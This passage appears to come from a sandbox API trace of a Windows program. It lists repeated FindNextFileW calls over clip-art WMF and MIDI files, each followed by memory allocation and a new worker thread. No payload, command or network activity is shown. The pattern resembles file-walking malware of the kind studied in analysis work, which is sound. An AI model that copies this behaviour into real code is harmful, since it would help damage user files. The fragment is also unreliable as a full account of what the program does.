	[0278.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27ac
	[0278.251] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.252] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a54, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02464_.WMF", cAlternateFileName="")) returned 1
	[0278.252] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27b0
	[0278.254] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.254] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe34c8c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe34c8c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02465_.WMF", cAlternateFileName="")) returned 1
	[0278.255] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27b4
	[0278.257] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.257] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ca, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02578_.WMF", cAlternateFileName="")) returned 1
	[0278.257] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27b8
	[0278.260] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.261] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6d32800, ftCreationTime.dwHighDateTime=0x1bd4c4e, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6d32800, ftLastWriteTime.dwHighDateTime=0x1bd4c4e, nFileSizeHigh=0x0, nFileSizeLow=0x5fec, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02617_.WMF", cAlternateFileName="")) returned 1
	[0278.261] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27bc
	[0278.263] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.263] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7f4e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02790_.WMF", cAlternateFileName="")) returned 1
	[0278.264] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c0
	[0282.294] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.295] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x430c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02791_.WMF", cAlternateFileName="")) returned 1
	[0282.296] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c4
	[0282.298] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.299] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b70, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02793_.WMF", cAlternateFileName="")) returned 1
	[0282.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c8
	[0282.301] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.302] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b7a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02794_.WMF", cAlternateFileName="")) returned 1
	[0282.302] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27cc
	[0282.304] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.305] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1262e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02862_.WMF", cAlternateFileName="")) returned 1
	[0282.305] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27d0
	[0282.307] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.307] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x967a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02886_.WMF", cAlternateFileName="")) returned 1
	[0282.307] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27d4
	[0282.309] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.310] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02958_.WMF", cAlternateFileName="")) returned 1
	[0282.310] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27d8
	[0282.312] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.313] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x107b, dwReserved0=0x72, dwReserved1=0x0, cFileName="SPACE_01.MID", cAlternateFileName="")) returned 1
	[0282.313] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27dc
	[0282.316] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.316] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SPRNG_01.MID", cAlternateFileName="")) returned 1
	[0282.316] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27e0
	[0282.318] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.319] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x72, dwReserved1=0x0, cFileName="STUBBY1.WMF", cAlternateFileName="")) returned 1
	[0282.319] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27e4
	[0282.321] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.322] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x72, dwReserved1=0x0, cFileName="STUBBY2.WMF", cAlternateFileName="")) returned 1
	[0282.322] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27e8
	[0282.324] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.325] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x36dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="SUMER_01.MID", cAlternateFileName="")) returned 1
	[0282.325] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27ec
	[0282.327] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.328] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2135, dwReserved0=0x72, dwReserved1=0x0, cFileName="SWEST_01.MID", cAlternateFileName="")) returned 1
	[0282.328] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27f0
	[0282.646] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.647] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7065e700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7065e700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00110_.WMF", cAlternateFileName="")) returned 1
	[0282.647] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27f4
	[0282.649] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.650] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb76ecf00, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb76ecf00, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0x1844, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00127_.WMF", cAlternateFileName="")) returned 1
	[0282.650] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27f8
	[0282.652] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.652] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb62ee00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb62ee00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x81c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00132_.WMF", cAlternateFileName="")) returned 1
	[0282.652] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27fc
	[0282.655] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.655] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f34ba00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f34ba00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00170_.WMF", cAlternateFileName="")) returned 1
	[0282.655] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2804
	[0282.658] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.658] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d702300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d702300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x50c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00560_.WMF", cAlternateFileName="")) returned 1
	[0282.658] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2808
	[0282.660] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.661] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd194b700, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd194b700, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00642_.WMF", cAlternateFileName="")) returned 1
	[0282.661] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280c
	[0282.663] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.664] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2094, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00788_.WMF", cAlternateFileName="")) returned 1
	[0282.664] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2810
	[0282.666] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.666] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fdc, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00792_.WMF", cAlternateFileName="")) returned 1
	[0282.671] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2814
	[0282.673] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.674] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2764, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00795_.WMF", cAlternateFileName="")) returned 1
	[0282.674] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2818
	[0282.676] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.677] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ec100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5ec100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x9b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SY00882_.WMF", cAlternateFileName="")) returned 1
